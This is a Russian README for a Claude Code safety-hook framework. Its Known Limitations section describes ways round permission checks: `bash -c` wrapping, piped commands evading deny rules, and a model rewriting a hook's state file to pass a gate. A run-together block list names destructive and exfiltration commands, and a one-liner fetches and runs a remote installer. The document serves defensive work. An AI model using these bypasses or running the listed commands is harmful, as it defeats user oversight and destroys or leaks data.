**Обработка запрета в хуках по-прежнему непоследовательна между инструментами и версиями**: `hookSpecificOutput.permissionDecision: "deny"` улучшилась, но не является универсальной гарантией во всех поверхностях Claude Code. В ряде upstream-задач по-прежнему документированы случаи, когда обработка запрета игнорируется или меняется в зависимости от типа инструмента/события. Именно поэтому хуки фреймворка, которые должны жёстко блокировать опасные действия, используют наиболее консервативный путь, которому Claude Code сейчас доверяет надёжнее всего: человекочитаемая причина в `stderr` плюс `exit 2`, после чего мы рекомендуем пользователям запускать `safety-check --verify` после установки и после обновлений Claude Code. Если вы пишете собственные хуки, не предполагайте, что одного лишь JSON-ответа с запретом достаточно только потому, что он сработал в одном локальном тесте.
**Суб-агенты могут пропускать настройки хуков**: Агенты, порождаемые через инструмент Agent, [не всегда наследуют настройки разрешений](https://github.com/anthropics/claude-code/issues/37730). Хуки из `.claude/settings.json` должны по-прежнему срабатывать (общая конфигурация), но проверяйте поведение хуков при использовании рабочих процессов с суб-агентами.
**stderr хуков может раскрывать пути вашей файловой системы**: Исполнитель хуков Claude Code [добавляет к выводу stderr префикс с исходным путём команды](https://github.com/anthropics/claude-code/issues/41226), раскрывая такие детали, как `/Users/yourname/.claude/hooks/my-hook.sh`, в разговоре. Это исходит от слоя выполнения платформы, а не от хуков. Наши хуки используют чистые префиксы (`[bash-guard]`, `[file-guard]` и т. д.) для отладочных сообщений и никогда не раскрывают пути файловой системы ни в stdout, ни в stderr. Отладочное логирование включается отдельно для каждого хука (например, `BASH_GUARD_LOG=1`).
**Внутренние git-операции обходят все хуки**: Claude Code выполняет фоновые git-операции (fetch + reset) [программно каждые ~10 минут](https://github.com/anthropics/claude-code/issues/40710), не порождая внешний бинарник `git` и не совершая вызовов инструментов. Поскольку хуки срабатывают только при вызовах инструментов, git-safe и все остальные хуки слепы к этим операциям. Это может молча уничтожить незакоммиченные изменения в отслеживаемых файлах. Обходной путь: используйте git worktree (они не подвержены сбросам в основной рабочей копии) или коммитьте чаще. Если вы используете `claude -w`, также установите [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/) перед тем, как полагаться на worktree; в противном случае выход из worktree может удалить незамерженные или незапушенные коммиты.
**Рассинхронизация разрешений после редактирования settings.local.json**: Если инструмент Edit от Claude изменяет `.claude/settings.local.json` во время сеанса, состояние разрешений в памяти [рассинхронизируется с файлом на диске](https://github.com/anthropics/claude-code/issues/41259). Правила allow перестают работать, и пользователь снова и снова получает запросы на команды, которые уже разрешены. Файл на диске корректен; проблема в кэше в памяти. Обходной путь: позвольте Claude Code управлять файлами разрешений через собственный механизм запросов или перезапустите сеанс после ручных правок.
**Новое в v2.1.89: событие хука PermissionDenied**: Новое событие хука срабатывает после отклонений классификатора авто-режима. Хуки могут возвращать `{"retry": true}`, чтобы сообщить модели, что она может повторить отклонённую операцию. В связанной задаче документирован исходный пробел в документации по этому событию. Также в v2.1.89: условия `if` хуков теперь сопоставляются с [составными Bash-командами](https://github.com/anthropics/claude-code/issues/41262) (`ls && git push` соответствует `Bash(git *)`) и командами с префиксами переменных окружения (`FOO=bar git push`).
**systemMessage из SessionStart не отображается (v2.1.89)**: Поле `systemMessage`, возвращаемое хуками SessionStart, [больше не выводится в терминал](https://github.com/anthropics/claude-code/issues/41285). Хук выполняется, и `additionalContext` по-прежнему внедряется в контекст модели, но визуальный вывод, который появлялся раньше (например, "SessionStart:startup says: ..."), молча отсутствует. Если вы полагаетесь на `systemMessage` для уведомлений оператора или идентификации сеанса, вывод не будет виден. Связанные задачи: [#9090](https://github.com/anthropics/claude-code/issues/9090), [#15344](https://github.com/anthropics/claude-code/issues/15344).
**Хуки сбоят при первом сеансе в новом проекте**: При самом первом сеансе в каталоге проекта хуки SessionStart и UserPromptSubmit срабатывают [до того, как каталог проекта будет создан](https://github.com/anthropics/claude-code/issues/41310) (`~/.claude/projects/<encoded-path>/`). Любой хук, который вычисляет пути к файлам из `transcript_path` и пытается туда записать, завершится сбоем. Обходной путь: перед записью добавьте `mkdir -p` для путей, производных от transcript_path.
**Самостоятельное выполнение модели в длинных сеансах**: В длительных неконтролируемых сеансах модель может [галлюцинировать текст `Human:` после доставки уведомления о задаче](https://github.com/anthropics/claude-code/issues/41307) и затем выполнять его, как если бы это был реальный запрос пользователя, запуская несанкционированные git-операции и изменения файлов. Хуки не могут это обнаружить, потому что результирующие вызовы инструментов подлинные — галлюцинирован только триггер. Смягчение: используйте ограничения по времени сеанса и избегайте очень длинных неконтролируемых сеансов.
**Утечка GIT_INDEX_FILE в worktree**: У агентов, порождаемых через EnterWorktree, git-индекс может [повреждаться записями плагинов из маркетплейса](https://github.com/anthropics/claude-code/issues/41314) из-за утечки переменной окружения `GIT_INDEX_FILE` через границы процессов. Если операции worktree показывают неожиданные файлы в git status, причина может быть в этом.
**Фоновых агентов нельзя остановить**: Агенты, порождаемые через инструмент Agent с `run_in_background`, [не могут быть надёжно завершены](https://github.com/anthropics/claude-code/issues/41461) пользователем. В одном из описанных случаев 14 параллельных агентов писали в один и тот же файл и израсходовали ~1,4 млн токенов ($55–106). Встроенного механизма завершения нет. Смягчение: избегайте порождения большого числа фоновых агентов, а если порождаете, следите за расходом токенов.
**Настройка cleanupPeriodDays может игнорироваться**: Настройка `cleanupPeriodDays` в `settings.json` [может молча обходиться](https://github.com/anthropics/claude-code/issues/41458), удаляя файлы сеансов даже при очень больших значениях. Один пользователь потерял 490 сеансов, несмотря на значение 99999. Если вы полагаетесь на сохранение сеансов, делайте резервные копии `~/.claude/projects/` отдельно.
**Симлинки каталогов .claude/ не обнаруживаются (Linux)**: Слэш-команды из [симлинка `.claude/commands/`](https://github.com/anthropics/claude-code/issues/41451) не загружаются в Linux (регрессия). Это распространённый командный паттерн (хранить общий конфиг в центральном каталоге и делать симлинки). Хуки и навыки также могут не работать, если сам `.claude/` является симлинком. Обходной путь: копируйте файлы вместо создания симлинков.
**У встроенного ripgrep отсутствует право на выполнение (Linux)**: Встроенный бинарник `rg` [может потерять право на выполнение](https://github.com/anthropics/claude-code/issues/41463) в Linux, молча ломая все пользовательские слэш-команды в `~/.claude/commands/`. Исправление: выполните `chmod +x` для встроенного бинарника.
**Регрессии обнаружения команд в v2.1.88-89**: v2.1.88 была [устаревшей/изъятой из npm](https://github.com/anthropics/claude-code/issues/41497) после того, как пользовательские команды перестали загружаться и `cli.js.map` случайно попал в релиз. В v2.1.89 регрессия обнаружения команд сохранилась для некоторых пользователей ([#41864](https://github.com/anthropics/claude-code/issues/41864)), хотя она также добавила функции хуков, такие как `PermissionDenied`. Anthropic отметила исправление права на выполнение встроенного `rg` как выпущенное в v2.1.91. Если пользовательские команды или навыки исчезают, обновитесь до последнего релиза Claude Code и повторно запустите `safety-check --verify`.
**Неинтерактивные сеансы зависают на лимите использования**: В headless-режиме, `--print` или режиме удалённого управления при достижении лимита использования [появляется запрос на подтверждение, на который невозможно ответить](https://github.com/anthropics/claude-code/issues/41502), поскольку stdin отсутствует. Сеанс зависает навсегда. Программного обходного пути нет ([#41503](https://github.com/anthropics/claude-code/issues/41503)). Если вы запускаете Claude Code в CI, cron или автономных циклах, установите ограничения по времени сеанса и следите за зависшими процессами.
**Обход правил deny через конвейеры и составные команды**: Встроенные правила deny сопоставляются только с полной строкой команды. `Bash(rm *)` блокирует `rm -rf /`, но не `find /foo | xargs rm` или `something && rm -rf /`. В документации сказано, что правила allow разбирают операторы оболочки, но [правила deny — нет](https://github.com/anthropics/claude-code/issues/41559). Примечание: условия `if` хуков были исправлены в upstream (конец марта 2026), чтобы корректно сопоставлять составные команды и префиксы переменных окружения, так что хуки *срабатывают* корректно для этих паттернов. Пробел именно в правилах *deny*, а не в хуках. bash-guard разбирает каждый сегмент конвейера и каждую составную цепочку независимо, перехватывая эти паттерны обхода. См. также [#37662](https://github.com/anthropics/claude-code/issues/37662), [#16180](https://github.com/anthropics/claude-code/issues/16180).
**«Подтверждать каждое изменение по отдельности» молча пропускается**: При выходе из режима плана и выборе «подтверждать каждое изменение по отдельности» [изменения применяются без какого-либо запроса](https://github.com/anthropics/claude-code/issues/41551), если инструменты (Edit, Write, Bash) находятся в `permissions.allow`. Постоянные правила allow переопределяют явный выбор пользователя, сделанный для сеанса. Обходной путь: удалите широкие разрешения allow для инструментов и используйте хуки для принудительного контроля.
**Хуки SessionEnd завершаются принудительно до окончания работы**: Хуки SessionEnd, выполняющие асинхронную работу (API-вызовы, суммаризацию LLM, сетевые запросы), [убиваются в середине выполнения](https://github.com/anthropics/claude-code/issues/41577) при выходе из Claude Code, независимо от настроенного таймаута. Хук достигает асинхронного вызова, но родительский процесс завершается до возврата ответа. Обходной путь: вынесите тяжёлую работу в фоновый процесс с помощью `nohup ... & disown`, затем немедленно выполните `exit 0`.
**Доступ к каталогу «Always allow» не сохраняется**: Нажатие «Да, и всегда разрешать доступ к [папке]» [не сохраняется надёжно](https://github.com/anthropics/claude-code/issues/41579). Claude снова запрашивает разрешение для того же каталога в последующих сеансах. Добавление в `additionalDirectories` в settings.json также ненадёжно. Связано с [#40606](https://github.com/anthropics/claude-code/issues/40606) (утечка additionalDirectories между проектами).
**Запись в `~/.claude/` останавливает автоматизированные сеансы**: Запись по путям внутри `~/.claude/` вызывает зашитый намертво запрос о чувствительных файлах, который [нельзя подавить](https://github.com/anthropics/claude-code/issues/41615) ни через `permissions.allow`, ни через PreToolUse-хуки, возвращающие `"allow"`, ни через режим `bypassPermissions`, ни через `skipDangerousModePermissionPrompt`. Автоматизированные сеансы (tmux, CI, автономные циклы), которым нужно изменять файлы конфигурации Claude Code, зависнут на интерактивном запросе. Обходной путь: используйте команды инструмента Bash (`echo`, `cat`, `jq`) для прямой записи файлов вместо инструментов Edit/Write.
**Обёртывание в `bash -c` обходит защиту записи в каталог `.claude/`**: Система разрешений защищает файлы `.claude/` от изменений (редактирование, запись, прямые bash-команды — всё вызывает модальное окно подтверждения). Но обёртывание команды в [`bash -c 'echo "..." >> .claude/file'`](https://github.com/anthropics/claude-code/issues/43085) полностью обходит проверку: модальное окно не появляется, и запись молча выполняется. Сопоставление паттернов проверяет строку команды верхнего уровня, но не вложенные под-оболочки. Это означает, что модель (или инъекция промпта через результаты инструментов) может изменить хуки, settings.json, навыки или определения агентов без подтверждения пользователя. file-guard перехватывает это, если `.claude/` добавлен в конфиг `.file-guard`, поскольку он сканирует полную строку Bash-команды на предмет защищённых путей (включая пути внутри кавычек). Пользователи, полагающиеся исключительно на встроенные проверки разрешений, остаются незащищёнными.
**Хуки `WorktreeCreate` завешивают `claude -w`**: Любой хук `WorktreeCreate` приводит к [бесконечному зависанию `claude -w`](https://github.com/anthropics/claude-code/issues/41614), независимо от содержимого хука. Даже `echo ok < /dev/null` замораживает сеанс. Хук выполняется и возвращает управление, но Claude Code никогда не продолжает работу. Удалите все хуки `WorktreeCreate`, если вам нужно, чтобы `claude -w` работал.
**Модель может манипулировать файлами состояния хуков**: У модели есть доступ к файловой системе, и она [может перезаписывать файлы, от которых зависят хуки](https://github.com/anthropics/claude-code/issues/38841), — файлы контрольных точек, файлы блокировок, счётчики. В одном задокументированном случае Claude вычислил SHA256-хеш имени файла контрольной точки и записал новую временную метку, чтобы обойти шлюз чтения содержимого. Хуки, полагающиеся на внешние файлы состояния для принудительного контроля, должны исходить из того, что модель может читать и изменять эти файлы. Криптографические подписи или валидация вне процесса могут смягчить эту проблему.
**`bypassPermissions` не восстанавливается при возобновлении сеанса (VS Code)**: Когда `bypassPermissions` настроен через `initialPermissionMode` в настройках VS Code, [возобновлённые диалоги возвращаются к режиму разрешений по умолчанию](https://github.com/anthropics/claude-code/issues/42735) и запрашивают подтверждение каждого изменения. Новые сеансы могут его подхватывать, но возобновлённые стабильно не работают. Хуки, зависящие от работы сеанса в режиме bypass, не могут рассчитывать на его сохранение при возобновлении.
**Изоляция worktree ломается в git-подмодулях**: Использование `isolation: "worktree"` в инструменте Agent внутри git-подмодуля [создаёт worktree в `.git/modules/<path>/.claude/worktrees/`](https://github.com/anthropics/claude-code/issues/42732) вместо собственного `.claude/worktrees/` проекта. Это выводит агента за пределы области разрешений проекта, из-за чего `bypassPermissions` молча понижается и возникают неожиданные запросы разрешений.
**Одобрение навыка не привязано к хешу содержимого**: Когда пользователь одобряет навык, одобрение [не привязывается к хешу содержимого файла](https://github.com/anthropics/claude-code/issues/43157). Если файл навыка изменён после одобрения (даже в середине сеанса), изменённая версия выполняется без повторного запроса. Кроме того, одобрение навыка может обойти правила deny уровня инструментов в `settings.json`. Это риск для цепочки поставок: всё, что имеет доступ на запись к `~/.claude/skills/`, может после одобрения расширить возможности.**Stdio MCP-серверы никогда не переподключаются автоматически**: Когда процесс stdio-сервера MCP завершается или отключается, Claude Code [помечает его как отказавший и больше не повторяет попытки](https://github.com/anthropics/claude-code/issues/43177). HTTP/SSE/WebSocket-серверы получают автоматическое переподключение с экспоненциальной задержкой (5 попыток), но stdio-серверы явно исключены. Пользователям приходится вручную запускать `/mcp` для переподключения. Это затрагивает любую интеграцию MCP, использующую stdio-транспорт (самый распространённый локальный вариант).
**Обход режима планирования после первого цикла**: После завершения одного цикла «план — одобрение — реализация» повторный вход в режим планирования [не гарантирует соблюдение ограничений «только чтение»](https://github.com/anthropics/claude-code/issues/43147). Claude переносит «одобренное» ментальное состояние и начинает редактировать файлы до того, как пользователь одобрит новый план. Хуки, полагающиеся на режим планирования как на границу безопасности, не могут доверять ему на протяжении нескольких циклов в рамках одной сессии.
**Windows**: Все семь хуков имеют нативные эквиваленты на **PowerShell 7+** (`hook.ps1`), не требующие внешних зависимостей. Требуется [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), а не встроенный Windows PowerShell 5. Установите их с помощью:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
partedwipefsDROP TABLE, prisma db push, dropdb, migrate:fresh, FLUSHALL и 10+ вариантов ORMenv/printenv, bash -x, cat .env, SSH-ключи, программные дампы (os.environ, process.env)curl -d @file, wget --post-file, nc host < fileterraform destroy, kubectl delete/drain/scale-to-zero, helm uninstall, aws ec2 terminate/rds delete/cloudformation delete-stack, az group delete, doctl destroy, flyctl destroy, heroku apps:destroy, vercel rm, netlify sites:delete-v /:/host), уничтожение данных (compose down -v)rm -rf на NFS/общем хранилище (#36640)git push --force, git filter-branch (#37331: все файлы удалены через force push)Или настройте вручную в .claude/settings.json с "command": "pwsh -File /path/to/hook.ps1". Инструмент enforce-hooks — это bash-скрипт, который работает из терминала WSL или с Git for Windows (который предоставляет /usr/bin/bash). Примечание: у Claude Code есть известная ошибка, из-за которой хуки срабатывают только в ~18% случаев в Windows, поэтому надёжность хуков в нативной Windows ограничена независимо от оболочки. WSL остаётся самым надёжным вариантом. См. #3.
cargo test # Framework tests cargo fmt # Format code cargo clippy # Run linter
bash tools/read-once/test.sh bash tools/file-guard/test.sh bash tools/git-safe/test.sh bash tools/bash-guard/test.sh bash tools/branch-guard/test.sh bash tools/session-log/test.sh bash tools/enforce/test.sh bash tools/safety-check/test.sh bash tools/worktree-guard/test.sh
## Статус
**Последний релиз:** v0.13.0 поставляется с 200+ тестами на Rust и 1,700+ тестами хуков (bash + PowerShell). Ноль предупреждений clippy. CI на Ubuntu + macOS + Windows. Поддержка Docker.
Новое в v0.13.0: доступный для поиска корпус Known Limitations для Claude Code, страница рецептов, машиночитаемый экспорт Known Limitations, многоуровневые конфигурации bash-guard и защита от мутаций `gh api`, факты Broca с TTL-метками, сброс кеша PostCompact с однократным чтением, усиленная проверка безопасности, блокировка раннера и усиление тайм-аутов, а также улучшения паритета установщика Windows. Подробности см. в [CHANGELOG](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/CHANGELOG.md).
Метрики репозитория видны на GitHub; в этом README не встраиваются волатильные счётчики звёзд и форков.
## Участие
Приветствуется вклад. Пожалуйста, сначала откройте issue, чтобы обсудить, что вы хотите изменить.
## Лицензия
MIT